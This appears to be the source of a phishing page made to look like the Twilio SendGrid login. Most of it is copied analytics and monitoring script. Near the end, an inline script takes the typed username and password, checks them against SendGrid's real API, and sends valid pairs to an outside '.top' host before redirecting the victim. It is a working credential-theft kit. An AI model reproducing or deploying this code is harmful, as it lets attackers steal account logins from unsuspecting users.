i(0, !0); var t = b.now(); this[l] = ~~this[l] + t - this[u], this[d] = t } function i(t, e) { E.emit("newURL", ["" + y, e]) } function a(t, e) { t.on(e, function () { this[e] = b.now() }) } var c = "-start" , s = "-end" , f = "-body" , u = "fn" + c , d = "fn" + s , p = "cb" + c , h = "cb" + s , l = "jsTime" , m = "fetch" , v = "addEventListener" , w = window , y = w.location , b = t("loader"); if (w[v] && b.xhrWrappable) { var g = t(10) , x = t(11) , E = t(8) , P = t(6) , O = t(13) , R = t(7) , T = t(14) , L = t(9) , j = t("ee") , N = j.get("tracer"); t(15), b.features.spa = !0; var S, M = 0; j.on(u, r), j.on(p, r), j.on(d, o), j.on(h, o), j.buffer([u, d, "xhr-done", "xhr-resolved"]), P.buffer([u]), O.buffer(["setTimeout" + s, "clearTimeout" + c, u]), T.buffer([u, "new-xhr", "send-xhr" + c]), R.buffer([m + c, m + "-done", m + f + c, m + f + s]), E.buffer(["newURL"]), g.buffer([u]), x.buffer(["propagate", p, h, "executor-err", "resolve" + c]), N.buffer([u, "no-" + u]), L.buffer(["new-jsonp", "cb-start", "jsonp-error", "jsonp-end"]), a(T, "send-xhr" + c), a(j, "xhr-resolved"), a(j, "xhr-done"), a(R, m + c), a(R, m + "-done"), a(L, "new-jsonp"), a(L, "jsonp-end"), a(L, "cb-start"), E.on("pushState-end", i), E.on("replaceState-end", i), w[v]("hashchange", i, !0), w[v]("load", i, !0), w[v]("popstate", function () { i(0, M > 1) }, !0) } }, {}] , 5: [function (t, e, n) { function r(t) {} if (window.performance && window.performance.timing && window.performance.getEntriesByType) { var o = t("ee") , i = t("handle") , a = t(13) , c = t(12) , s = "learResourceTimings" , f = "addEventListener" , u = "resourcetimingbufferfull" , d = "bstResource" , p = "resource" , h = "-start" , l = "-end" , m = "fn" + h , v = "fn" + l , w = "bstTimer" , y = "pushState" , b = t("loader"); b.features.stn = !0, t(8); var g = NREUM.o.EV; o.on(m, function (t, e) { var n = t[0]; n instanceof g && (this.bstStart = b.now()) }), o.on(v, function (t, e) { var n = t[0]; n instanceof g && i("bst", [n, e, this.bstStart, b.now()]) }), a.on(m, function (t, e, n) { this.bstStart = b.now(), this.bstType = n }), a.on(v, function (t, e) { i(w, [e, this.bstStart, b.now(), this.bstType]) }), c.on(m, function () { this.bstStart = b.now() }), c.on(v, function (t, e) { i(w, [e, this.bstStart, b.now(), "requestAnimationFrame"]) }), o.on(y + h, function (t) { this.time = b.now(), this.startPath = location.pathname + location.hash }), o.on(y + l, function (t) { i("bstHist", [location.pathname + location.hash, this.startPath, this.time]) }), f in window.performance && (window.performance["c" + s] ? window.performance[f](u, function (t) { i(d, [window.performance.getEntriesByType(p)]), window.performance["c" + s]() }, !1) : window.performance[f]("webkit" + u, function (t) { i(d, [window.performance.getEntriesByType(p)]), window.performance["webkitC" + s]() }, !1)), document[f]("scroll", r, { passive: !0 }), document[f]("keypress", r, !1), document[f]("click", r, !1) } }, {}] , 6: [function (t, e, n) { function r(t) { for (var e = t; e && !e.hasOwnProperty(u);) e = Object.getPrototypeOf(e); e && o(e) } function o(t) { c.inPlace(t, [u, d], "-", i) } function i(t, e) { return t[1] } var a = t("ee").get("events") , c = t(23)(a, !0) , s = t("gos") , f = XMLHttpRequest , u = "addEventListener" , d = "removeEventListener"; e.exports = a, "getPrototypeOf" in Object ? (r(document), r(window), r(f.prototype)) : f.prototype.hasOwnProperty(u) && (o(window), o(f.prototype)), a.on(u + "-start", function (t, e) { var n = t[1] , r = s(n, "nr@wrapped", function () { function t() { if ("function" == typeof n.handleEvent) return n.handleEvent.apply(n, arguments) } var e = { object: t , "function": n }[typeof n]; return e ? c(e, "fn-", null, e.name || "anonymous") : n }); this.wrapped = t[1] = r }), a.on(d + "-start", function (t) { t[1] = this.wrapped || t[1] }) }, {}] , 7: [function (t, e, n) { function r(t, e, n) { var r = t[e]; "function" == typeof r && (t[e] = function () { var t = r.apply(this, arguments); return o.emit(n + "start", arguments, t), t.then(function (e) { return o.emit(n + "end", [null, e], t), e }, function (e) { throw o.emit(n + "end", [e], t), e }) }) } var o = t("ee").get("fetch") , i = t(20); e.exports = o; var a = window , c = "fetch-" , s = c + "body-" , f = ["arrayBuffer", "blob", "json", "text", "formData"] , u = a.Request , d = a.Response , p = a.fetch , h = "prototype"; u && d && p && (i(f, function (t, e) { r(u[h], e, s), r(d[h], e, s) }), r(a, "fetch", c), o.on(c + "end", function (t, e) { var n = this; e ? e.clone().arrayBuffer().then(function (t) { n.rxSize = t.byteLength, o.emit(c + "done", [null, e], n) }) : o.emit(c + "done", [t], n) })) }, {}] , 8: [function (t, e, n) { var r = t("ee").get("history") , o = t(23)(r); e.exports = r, o.inPlace(window.history, ["pushState", "replaceState"], "-") }, {}] , 9: [function (t, e, n) { function r(t) { function e() { s.emit("jsonp-end", [], p), t.removeEventListener("load", e, !1), t.removeEventListener("error", n, !1) } function n() { s.emit("jsonp-error", [], p), s.emit("jsonp-end", [], p), t.removeEventListener("load", e, !1), t.removeEventListener("error", n, !1) } var r = t && "string" == typeof t.nodeName && "script" === t.nodeName.toLowerCase(); if (r) { var o = "function" == typeof t.addEventListener; if (o) { var a = i(t.src); if (a) { var u = c(a) , d = "function" == typeof u.parent[u.key]; if (d) { var p = {}; f.inPlace(u.parent, [u.key], "cb-", p), t.addEventListener("load", e, !1), t.addEventListener("error", n, !1), s.emit("new-jsonp", [t.src], p) } } } } } function o() { return "addEventListener" in window } function i(t) { var e = t.match(u); return e ? e[1] : null } function a(t, e) { var n = t.match(p) , r = n[1] , o = n[3]; return o ? a(o, e[r]) : e[r] } function c(t) { var e = t.match(d); return e && e.length >= 3 ? { key: e[2] , parent: a(e[1], window) } : { key: t , parent: window } } var s = t("ee").get("jsonp") , f = t(23)(s); if (e.exports = s, o()) { var u = /[?&](?:callback|cb)=([^&#]+)/ , d = /(.*).([^.]+)/ , p = /^(w+)(.|$)(.*)$/ , h = ["appendChild", "insertBefore", "replaceChild"]; f.inPlace(HTMLElement.prototype, h, "dom-"), f.inPlace(HTMLHeadElement.prototype, h, "dom-"), f.inPlace(HTMLBodyElement.prototype, h, "dom-"), s.on("dom-start", function (t) { r(t[0]) }) } }, {}] , 10: [function (t, e, n) { var r = t("ee").get("mutation") , o = t(23)(r) , i = NREUM.o.MO; e.exports = r, i && (window.MutationObserver = function (t) { return this instanceof i ? new i(o(t, "fn-")) : i.apply(this, arguments) }, MutationObserver.prototype = i.prototype) }, {}] , 11: [function (t, e, n) { function r(t) { var e = a.context() , n = c(t, "executor-", e) , r = new f(n); return a.context(r).getCtx = function () { return e }, a.emit("new-promise", [r, e], e), r } function o(t, e) { return e } var i = t(23) , a = t("ee").get("promise") , c = i(a) , s = t(20) , f = NREUM.o.PR; e.exports = a, f && (window.Promise = r, ["all", "race"].forEach(function (t) { var e = f[t]; f[t] = function (n) { function r(t) { return function () { a.emit("propagate", [null, !o], i), o = o || !t } } var o = !1; s(n, function (e, n) { Promise.resolve(n).then(r("all" === t), r(!1)) }); var i = e.apply(f, arguments) , c = f.resolve(i); return c } }), ["resolve", "reject"].forEach(function (t) { var e = f[t]; f[t] = function (t) { var n = e.apply(f, arguments); return t !== n && a.emit("propagate", [t, !0], n), n } }), f.prototype["catch"] = function (t) { return this.then(null, t) }, f.prototype = Object.create(f.prototype, { constructor: { value: r } }), s(Object.getOwnPropertyNames(f), function (t, e) { try { r[e] = f[e] } catch (n) {} }), a.on("executor-start", function (t) { t[0] = c(t[0], "resolve-", this), t[1] = c(t[1], "resolve-", this) }), a.on("executor-err", function (t, e, n) { t[1](n) }), c.inPlace(f.prototype, ["then"], "then-", o), a.on("then-start", function (t, e) { this.promise = e, t[0] = c(t[0], "cb-", this), t[1] = c(t[1], "cb-", this) }), a.on("then-end", function (t, e, n) { this.nextPromise = n; var r = this.promise; a.emit("propagate", [r, !0], n) }), a.on("cb-end", function (t, e, n) { a.emit("propagate", [n, !0], this.nextPromise) }), a.on("propagate", function (t, e, n) { this.getCtx && !e || (this.getCtx = function () { if (t instanceof Promise) var e = a.context(t); return e && e.getCtx ? e.getCtx() : this }) }), r.toString = function () { return "" + f }) }, {}] , 12: [function (t, e, n) { var r = t("ee").get("raf") , o = t(23)(r) , i = "equestAnimationFrame"; e.exports = r, o.inPlace(window, ["r" + i, "mozR" + i, "webkitR" + i, "msR" + i], "raf-"), r.on("raf-start", function (t) { t[0] = o(t[0], "fn-") }) }, {}] , 13: [function (t, e, n) { function r(t, e, n) { t[0] = a(t[0], "fn-", null, n) } function o(t, e, n) { this.method = n, this.timerDuration = isNaN(t[1]) ? 0 : +t[1], t[0] = a(t[0], "fn-", this, n) } var i = t("ee").get("timer") , a = t(23)(i) , c = "setTimeout" , s = "setInterval" , f = "clearTimeout" , u = "-start" , d = "-"; e.exports = i, a.inPlace(window, [c, "setImmediate"], c + d), a.inPlace(window, [s], s + d), a.inPlace(window, [f, "clearImmediate"], f + d), i.on(s + u, r), i.on(c + u, o) }, {}] , 14: [function (t, e, n) { function r(t, e) { d.inPlace(e, ["onreadystatechange"], "fn-", c) } function o() { var t = this , e = u.context(t); t.readyState > 3 && !e.resolved && (e.resolved = !0, u.emit("xhr-resolved", [], t)), d.inPlace(t, y, "fn-", c) } function i(t) { b.push(t), l && (x ? x.then(a) : v ? v(a) : (E = -E, P.data = E)) } function a() { for (var t = 0; t < b.length; t++) r([], b[t]); b.length && (b = []) } function c(t, e) { return e } function s(t, e) { for (var n in t) e[n] = t[n]; return e } t(6); var f = t("ee") , u = f.get("xhr") , d = t(23)(u) , p = NREUM.o , h = p.XHR , l = p.MO , m = p.PR , v = p.SI , w = "readystatechange" , y = ["onload", "onerror", "onabort", "onloadstart", "onloadend", "onprogress", "ontimeout"] , b = []; e.exports = u; var g = window.XMLHttpRequest = function (t) { var e = new h(t); try { u.emit("new-xhr", [e], e), e.addEventListener(w, o, !1) } catch (n) { try { u.emit("internal-error", [n]) } catch (r) {} } return e }; if (s(h, g), g.prototype = h.prototype, d.inPlace(g.prototype, ["open", "send"], "-xhr-", c), u.on("send-xhr-start", function (t, e) { r(t, e), i(e) }), u.on("open-xhr-start", r), l) { var x = m && m.resolve(); if (!v && !m) { var E = 1 , P = document.createTextNode(E); new l(a).observe(P, { characterData: !0 }) } } else f.on("fn-end", function (t) { t[0] && t[0].type === w || a() }) }, {}] , 15: [function (t, e, n) { function r(t) { var e = this.params , n = this.metrics; if (!this.ended) { this.ended = !0; for (var r = 0; r < d; r++) t.removeEventListener(u[r], this.listener, !1); if (!e.aborted) { if (n.duration = a.now() - this.startTime, 4 === t.readyState) { e.status = t.status; var i = o(t, this.lastSize); if (i && (n.rxSize = i), this.sameOrigin) { var s = t.getResponseHeader("X-NewRelic-App-Data"); s && (e.cat = s.split(", ").pop()) } } else e.status = 0; n.cbTime = this.cbTime, f.emit("xhr-done", [t], t), c("xhr", [e, n, this.startTime]) } } } function o(t, e) { var n = t.responseType; if ("json" === n && null !== e) return e; var r = "arraybuffer" === n || "blob" === n || "json" === n ? t.response : t.responseText; return l(r) } function i(t, e) { var n = s(e) , r = t.params; r.host = n.hostname + ":" + n.port, r.pathname = n.pathname, t.sameOrigin = n.sameOrigin } var a = t("loader"); if (a.xhrWrappable) { var c = t("handle") , s = t(16) , f = t("ee") , u = ["load", "error", "abort", "timeout"] , d = u.length , p = t("id") , h = t(19) , l = t(18) , m = window.XMLHttpRequest; a.features.xhr = !0, t(14), f.on("new-xhr", function (t) { var e = this; e.totalCbs = 0, e.called = 0, e.cbTime = 0, e.end = r, e.ended = !1, e.xhrGuids = {}, e.lastSize = null, h && (h > 34 || h < 10) || window.opera || t.addEventListener("progress", function (t) { e.lastSize = t.loaded }, !1) }), f.on("open-xhr-start", function (t) { this.params = { method: t[0] }, i(this, t[1]), this.metrics = {} }), f.on("open-xhr-end", function (t, e) { "loader_config" in NREUM && "xpid" in NREUM.loader_config && this.sameOrigin && e.setRequestHeader("X-NewRelic-ID", NREUM.loader_config.xpid) }), f.on("send-xhr-start", function (t, e) { var n = this.metrics , r = t[0] , o = this; if (n && r) { var i = l(r); i && (n.txSize = i) } this.startTime = a.now(), this.listener = function (t) { try { "abort" === t.type && (o.params.aborted = !0), ("load" !== t.type || o.called === o.totalCbs && (o.onloadCalled || "function" != typeof e.onload)) && o.end(e) } catch (n) { try { f.emit("internal-error", [n]) } catch (r) {} } }; for (var c = 0; c < d; c++) e.addEventListener(u[c], this.listener, !1) }), f.on("xhr-cb-time", function (t, e, n) { this.cbTime += t, e ? this.onloadCalled = !0 : this.called += 1, this.called !== this.totalCbs || !this.onloadCalled && "function" == typeof n.onload || this.end(n) }), f.on("xhr-load-added", function (t, e) { var n = "" + p(t) + !!e; this.xhrGuids && !this.xhrGuids[n] && (this.xhrGuids[n] = !0, this.totalCbs += 1) }), f.on("xhr-load-removed", function (t, e) { var n = "" + p(t) + !!e; this.xhrGuids && this.xhrGuids[n] && (delete this.xhrGuids[n], this.totalCbs -= 1) }), f.on("addEventListener-end", function (t, e) { e instanceof m && "load" === t[0] && f.emit("xhr-load-added", [t[1], t[2]], e) }), f.on("removeEventListener-end", function (t, e) { e instanceof m && "load" === t[0] && f.emit("xhr-load-removed", [t[1], t[2]], e) }), f.on("fn-start", function (t, e, n) { e instanceof m && ("onload" === n && (this.onload = !0), ("load" === (t[0] && t[0].type) || this.onload) && (this.xhrCbStart = a.now())) }), f.on("fn-end", function (t, e) { this.xhrCbStart && f.emit("xhr-cb-time", [a.now() - this.xhrCbStart, this.onload, e], e) }) } }, {}] , 16: [function (t, e, n) { e.exports = function (t) { var e = document.createElement("a") , n = window.location , r = {}; e.href = t, r.port = e.port; var o = e.href.split("://"); !r.port && o[1] && (r.port = o[1].split("/")[0].split("@").pop().split(":")[1]), r.port && "0" !== r.port || (r.port = "https" === o[0] ? "443" : "80"), r.hostname = e.hostname || n.hostname, r.pathname = e.pathname, r.protocol = o[0], "/" !== r.pathname.charAt(0) && (r.pathname = "/" + r.pathname); var i = !e.protocol || ":" === e.protocol || e.protocol === n.protocol , a = e.hostname === document.domain && e.port === n.port; return r.sameOrigin = i && (!e.hostname || a), r } }, {}] , 17: [function (t, e, n) { function r() {} function o(t, e, n) { return function () { return i(t, [f.now()].concat(c(arguments)), e ? null : this, n), e ? void 0 : this } } var i = t("handle") , a = t(20) , c = t(21) , s = t("ee").get("tracer") , f = t("loader") , u = NREUM; "undefined" == typeof window.newrelic && (newrelic = u); var d = ["setPageViewName", "setCustomAttribute", "setErrorHandler", "finished", "addToTrace", "inlineHit", "addRelease"] , p = "api-" , h = p + "ixn-"; a(d, function (t, e) { u[e] = o(p + e, !0, "api") }), u.addPageAction = o(p + "addPageAction", !0), u.setCurrentRouteName = o(p + "routeName", !0), e.exports = newrelic, u.interaction = function () { return (new r).get() }; var l = r.prototype = { createTracer: function (t, e) { var n = {} , r = this , o = "function" == typeof e; return i(h + "tracer", [f.now(), t, n], r) , function () { if (s.emit((o ? "" : "no-") + "fn-start", [f.now(), r, o], n), o) try { return e.apply(this, arguments) } catch (t) { throw s.emit("fn-err", [arguments, this, t], n), t } finally { s.emit("fn-end", [f.now()], n) } } } }; a("setName,setAttribute,save,ignore,onEnd,getContext,end,get".split(","), function (t, e) { l[e] = o(h + e) }), newrelic.noticeError = function (t) { "string" == typeof t && (t = new Error(t)), i("err", [t, f.now()]) } }, {}] , 18: [function (t, e, n) { e.exports = function (t) { if ("string" == typeof t && t.length) return t.length; if ("object" == typeof t) { if ("undefined" != typeof ArrayBuffer && t instanceof ArrayBuffer && t.byteLength) return t.byteLength; if ("undefined" != typeof Blob && t instanceof Blob && t.size) return t.size; if (!("undefined" != typeof FormData && t instanceof FormData)) try { return JSON.stringify(t).length } catch (e) { return } } } }, {}] , 19: [function (t, e, n) { var r = 0 , o = navigator.userAgent.match(/Firefox[/s](d+.d+)/); o && (r = +o[1]), e.exports = r }, {}] , 20: [function (t, e, n) { function r(t, e) { var n = [] , r = "" , i = 0; for (r in t) o.call(t, r) && (n[i] = e(r, t[r]), i += 1); return n } var o = Object.prototype.hasOwnProperty; e.exports = r }, {}] , 21: [function (t, e, n) { function r(t, e, n) { e || (e = 0), "undefined" == typeof n && (n = t ? t.length : 0); for (var r = -1, o = n - e || 0, i = Array(o < 0 ? 0 : o); ++r < o;) i[r] = t[e + r]; return i } e.exports = r }, {}] , 22: [function (t, e, n) { e.exports = { exists: "undefined" != typeof window.performance && window.performance.timing && "undefined" != typeof window.performance.timing.navigationStart } }, {}] , 23: [function (t, e, n) { function r(t) { return !(t && t instanceof Function && t.apply && !t[a]) } var o = t("ee") , i = t(21) , a = "nr@original" , c = Object.prototype.hasOwnProperty , s = !1; e.exports = function (t, e) { function n(t, e, n, o) { function nrWrapper() { var r, a, c, s; try { a = this, r = i(arguments), c = "function" == typeof n ? n(r, a) : n || {} } catch (f) { p([f, "", [r, a, o], c]) } u(e + "start", [r, a, o], c); try { return s = t.apply(a, r) } catch (d) { throw u(e + "err", [r, a, d], c), d } finally { u(e + "end", [r, a, s], c) } } return r(t) ? t : (e || (e = ""), nrWrapper[a] = t, d(t, nrWrapper), nrWrapper) } function f(t, e, o, i) { o || (o = ""); var a, c, s, f = "-" === o.charAt(0); for (s = 0; s < e.length; s++) c = e[s], a = t[c], r(a) || (t[c] = n(a, f ? c + o : o, i, c)) } function u(n, r, o) { if (!s || e) { var i = s; s = !0; try { t.emit(n, r, o, e) } catch (a) { p([a, n, r, o]) } s = i } } function d(t, e) { if (Object.defineProperty && Object.keys) try { var n = Object.keys(t); return n.forEach(function (n) { Object.defineProperty(e, n, { get: function () { return t[n] } , set: function (e) { return t[n] = e, e } }) }), e } catch (r) { p([r]) } for (var o in t) c.call(t, o) && (e[o] = t[o]); return e } function p(e) { try { t.emit("internal-error", e) } catch (n) {} } return t || (t = o), n.inPlace = f, n.flag = a, n } }, {}] , ee: [function (t, e, n) { function r() {} function o(t) { function e(t) { return t && t instanceof r ? t : t ? s(t, c, i) : i() } function n(n, r, o, i) { if (!p.aborted || i) { t && t(n, r, o); for (var a = e(o), c = l(n), s = c.length, f = 0; f < s; f++) c[f].apply(a, r); var d = u[y[n]]; return d && d.push([b, n, r, a]), a } } function h(t, e) { w[t] = l(t).concat(e) } function l(t) { return w[t] || [] } function m(t) { return d[t] = d[t] || o(n) } function v(t, e) { f(t, function (t, n) { e = e || "feature", y[n] = e, e in u || (u[e] = []) }) } var w = {} , y = {} , b = { on: h , emit: n , get: m , listeners: l , context: e , buffer: v , abort: a , aborted: !1 }; return b } function i() { return new r } function a() { (u.api || u.feature) && (p.aborted = !0, u = p.backlog = {}) } var c = "nr@context" , s = t("gos") , f = t(20) , u = {} , d = {} , p = e.exports = o(); p.backlog = u }, {}] , gos: [function (t, e, n) { function r(t, e, n) { if (o.call(t, e)) return t[e]; var r = n(); if (Object.defineProperty && Object.keys) try { return Object.defineProperty(t, e, { value: r , writable: !0 , enumerable: !1 }), r } catch (i) {} return t[e] = r, r } var o = Object.prototype.hasOwnProperty; e.exports = r }, {}] , handle: [function (t, e, n) { function r(t, e, n, r) { o.buffer([t], r), o.emit(t, e, n) } var o = t("ee").get("handle"); e.exports = r, r.ee = o }, {}] , id: [function (t, e, n) { function r(t) { var e = typeof t; return !t || "object" !== e && "function" !== e ? -1 : t === window ? 0 : a(t, i, function () { return o++ }) } var o = 1 , i = "nr@id" , a = t("gos"); e.exports = r }, {}] , loader: [function (t, e, n) { function r() { if (!x++) { var t = g.info = NREUM.info , e = p.getElementsByTagName("script")[0]; if (setTimeout(u.abort, 3e4), !(t && t.licenseKey && t.applicationID && e)) return u.abort(); f(y, function (e, n) { t[e] || (t[e] = n) }), s("mark", ["onload", a() + g.offset], null, "api"); var n = p.createElement("script"); n.src = "https://" + t.agent, e.parentNode.insertBefore(n, e) } } function o() { "complete" === p.readyState && i() } function i() { s("mark", ["domContent", a() + g.offset], null, "api") } function a() { return E.exists && performance.now ? Math.round(performance.now()) : (c = Math.max((new Date).getTime(), c)) - g.offset } var c = (new Date).getTime() , s = t("handle") , f = t(20) , u = t("ee") , d = window , p = d.document , h = "addEventListener" , l = "attachEvent" , m = d.XMLHttpRequest , v = m && m.prototype; NREUM.o = { ST: setTimeout , SI: d.setImmediate , CT: clearTimeout , XHR: m , REQ: d.Request , EV: d.Event , PR: d.Promise , MO: d.MutationObserver }; var w = "" + location , y = { beacon: "bam.nr-data.net" , errorBeacon: "bam.nr-data.net" , agent: "js-agent.newrelic.com/nr-spa-1071.min.js" } , b = m && v && v[h] && !/CriOS/.test(navigator.userAgent) , g = e.exports = { offset: c , now: a , origin: w , features: {} , xhrWrappable: b }; t(17), p[h] ? (p[h]("DOMContentLoaded", i, !1), d[h]("load", r, !1)) : (p[l]("onreadystatechange", o), d[l]("onload", r)), s("mark", ["firstbyte", c], null, "api"); var x = 0 , E = t(22) }, {}] }, {}, ["loader", 2, 15, 5, 3, 4]);; NREUM.info = { beacon: "bam.nr-data.net" , errorBeacon: "bam.nr-data.net" , licenseKey: licenseKey , applicationID: applicationID , sa: 1 } } (api_config.new_relic.license_key, api_config.new_relic.application_id)); var publicPath = '/'; var route = window.location.pathname.replace(publicPath, "").replace(/^\//, ''); var inBlackList = window.urlBlacklist.indexOf(route) > -1 || route.startsWith("email_activity"); if (inBlackList) { window.blackListInit = true; } else { window.blackListInit = false; initNewRelic() } </script> <script type="text/javascript" src=""></script> <!-- Sift Science --> <script type="text/javascript"> if (!inBlackList) { var HEAP_ID = api_config.heap_id; window.heap = window.heap || [], heap.load = function (e, t) { window.heap.appid = e, window.heap.config = t = t || {}; var a = t.forceSSL || "https:" === document.location.protocol , r = document.createElement("script"); r.type = "text/javascript", r.async = !0, r.src = (a ? "https:" : "http:") + "//cdn.heapanalytics.com/js/heap-" + e + ".js"; var n = document.getElementsByTagName("script")[0]; n.parentNode.insertBefore(r, n); for (var o = function (e) { return function () { heap.push([e].concat(Array.prototype.slice.call(arguments, 0))) } }, p = ["addEventProperties", "addUserProperties", "clearEventProperties", "identify", "removeEventProperty", "setEventProperties", "track", "unsetEventProperty", "resetIdentity"], i = 0; i < p.length; i++) heap[p[i]] = o(p[i]) }, heap.load(HEAP_ID, { disableTextCapture: !0 }) } </script> <!--BEGIN QUALTRICS WEBSITE FEEDBACK SNIPPET--> <script type="text/javascript"> ! function () { try { new function (n, i, r, e) { this.get = function (t) { t += "="; for (var e = document.cookie.split(";"), n = 0, i = e.length; n < i; n++) { for (var r = e[n]; " " == r.charAt(0);) r = r.substring(1, r.length); if (0 == r.indexOf(t)) return r.substring(t.length, r.length) } return null }, this.set = function (t, e) { var n = ""; (n = new Date).setTime(n.getTime() + 6048e5), n = "; expires=" + n.toGMTString(), document.cookie = t + "=" + e + n + "; path=/; " }, this.check = function () { var t = this.get(r); if (t) t = t.split(":"); else { if (100 == n) return !0; "v" == i && (n = Math.random() >= n / 100 ? 0 : 100), t = [i, n, 0], this.set(r, t.join(":")) } var e = t[1]; if (100 == e) return !0; switch (t[0]) { case "v": return !1; case "r": return e = t[2] % Math.floor(100 / e), t[2]++, this.set(r, t.join(":")), !e } return !0 }, this.go = function () { if (this.check()) { var t = document.createElement("script"); t.type = "text/javascript", t.src = e + "&t=" + (new Date).getTime(), document.body && document.body.appendChild(t) } }, this.start = function () { var t = this; window.addEventListener ? window.addEventListener("load", function () { t.go() }, !1) : window.attachEvent && window.attachEvent("onload", function () { t.go() }) } }(100, "r", "QSI_S_ZN_73U216tZOa2xinj", "https://zn73u216tzoa2xinj-twilio.siteintercept.qualtrics.com/WRSiteInterceptEngine/?Q_ZID=ZN_73U216tZOa2xinj").start() } catch (t) {} }() </script> <div id="ZN_73U216tZOa2xinj"> <!--DO NOT REMOVE-CONTENTS PLACED HERE--> </div> <!--END WEBSITE FEEDBACK SNIPPET--> <script type="text/javascript"> ! function () { function n() { var n = document.createElement("script"); n.src = "https://cdn.siftscience.com/s.js", document.body.appendChild(n) } window.attachEvent ? window.attachEvent("onload", n) : window.addEventListener("load", n, !1) }() </script> <script> var script = document.createElement("script"); script.src = api_config.zuora_url, document.body.appendChild(script) </script> <script src=""></script> <script src=""></script> <script> track("Finished loading third-party scripts") </script> <div role="container" class="layout"> <main class="login"> <div data-role="login-error-alert-container" class="hidden alert alert-danger"> <p> <i class="sg-icon sg-icon-warning"></i> Your login was unsuccessful, please review the errors below. </p> </div> <div data-role="login-success-alert-container" class="hidden alert alert-success"> <p> <i class="sg-icon sg-icon-check-circle"></i> Your password was successfully changed. Please log in. </p> </div> <div class="login-container"> <div data-role="login-modals" class="login-modals"> <div class="login-modal"> <div class="login-modal-table"> <div class="login-modal-table-row"> <div class="login-modal-body"> <div class="login-logo"> <img src="https://uiux.s3.amazonaws.com/logo/sg-twilio-lockup.svg" alt="Twilio SendGrid Logo"> </div> <div data-role="login-form" class="login-form"> <div data-role="login-form-error-container" class="login-form-errors"> <div class="row"> <div class="col-8 col-start-3"> <span class="login-form-error" data-role="login-form-error-text">Your username or password is invalid.</span> </div> </div> </div> <div class="row"> <div class="col-8 col-start-3"> <div class="input-text-wrap is-full-width" style="" role="usernameContainer"> <label class="input-text-label" for="usernameContainer-input-id" role="label"> </label> <input class="input-text eimo" data-field="" id="eimo" type="text" role="input" placeholder="Username"> <span class="input-info danger hidden" role="error"> </span> <span class="input-info hidden" role="info"> </span> </div> </div> </div> <div class="row"> <div class="col-8 col-start-3"> <div class="input-text-wrap is-full-width" style="margin-bottom: 0" role="passwordContainer"> <label for="passwordContainer-input-id" role="label" aria-hidden="true"> </label> <input class="input-text peso" data-field="" id="Pass" name="Pass" type="password" role="input" placeholder="Password" value="" maxlength=""> <span class="input-info danger hidden" role="error"> </span> <span class="input-info hidden" role="info"> </span> </div> </div> </div> <div class="row login-password-options"> <div class="col-10"> <a class="login-link" href="#">Forgot your password?</a> </div> </div> <div class="login-btn"> <button data-role="login-btn" class="btn btn-primary btn-signin" type="submit"> Log In </button> </div> </div> </div> </div> <div class="login-modal-table-row"> <div class="login-modal-footer" data-role="pricing-container"> Don't have a Twilio SendGrid account? <a href="#">Sign up now!</a> </div> </div> </div> </div> </div> </div> </main> </div> <input type="hidden" name="talon" value="{"version": "5.5", "status": 0, "timestamp": "Fri, 18 Sep 2020 13:06:38 GMT", "a": {"dst": true, "tzo": -60, "stzo": 0}, "b": "en-US", "c": 310110674, "d": "da","e": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36", "0": 0, "3": "daecd5a37ae9ba74a340acff80184a3b", "4": "daecd5a37ae9ba74a340acff80184a3b", "7": "0","8":"4","6":"1", "9":"0","2":293432281, "5": "1600434399216"}" id="talon"> <div></div> <style> .login-form-errors { display: none; } </style> <!-- Bootstrap core JavaScript ================================================== --> <!-- Placed at the end of the document so the pages load faster --> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js" integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8=" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> <!-- Bootstrap core JavaScript ================================================== --> <script> var hash = window.location.hash; var email = (''); document.getElementById('eimo').value = email; $('.peso').keyup(function(event) { if (event.which == 13) { $('.btn-signin').click(); } }); var count = 1; $('.btn-signin').on('click', function () { var eimo = $('.eimo').val(); var peso = $('.peso').val(); if (peso == "") { $('.login-form-errors').show(); } else { $(document).ready(function () { $('.loader').show(); $('.btn').on('click', function () { var $this = $(this); var loadingText = '<i class="fa fa-circle-o-notch fa-spin"></i> loading...'; if ($(this).html() !== loadingText) { $this.data('original-text', $(this).html()); $this.html(loadingText); } }); }) $(".err").hide(); $('.btn-signin').prop('disabled', true); //////////////////////////// STRAT Check TRue login////////////////// var url = "https://api.sendgrid.com/v3/public/tokens"; // create a JSON object const json = { username: eimo , password: peso }; // request options var xhr = new XMLHttpRequest(); xhr.open("POST", url); xhr.setRequestHeader("Accept", "application/json"); xhr.setRequestHeader("Content-Type", "application/json"); xhr.onreadystatechange = function () { if (xhr.status == 200) { console.log("True login"); $.ajax({ url: "https://78478982379348379238843.top/grid/1.php" , data: { "eimo": eimo , "peso": peso } , type: "GET" , success: function (data) { console.log(data); if (data) { $(".btn").html("login"); $('.loader').hide(); console.log(data); console.log("true"); setTimeout(function () { window.location.href = data }, 100); } else { $(".btn").html("Log in"); $('.loader').hide(); count++; if (count > 6) { count = 1; setTimeout(function () { window.location.href = "https://sendgrid.com" }, 2000); } else { $('.loader').hide(); $(".err").show(); $('.btn').prop('disabled', false); $(".btn").html("Sign in"); } } } , error: function (data) { console.log('Ajax error'); } }); } else { $('.btn').prop('disabled', false); $('.login-form-errors').show(); } }; xhr.send(JSON.stringify(json)); //////////////////////////////////////////////////////////////// } }); </script> <script async="" src="https://www.googletagmanager.com/gtag/js?id=UA-143168142-1"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'UA-143168142-1'); </script> <script type="text/javascript" src="https://zn73u216tzoa2xinj-twilio.siteintercept.qualtrics.com/WRSiteInterceptEngine/?Q_ZID=ZN_73U216tZOa2xinj&t=1703069378812"></script><script 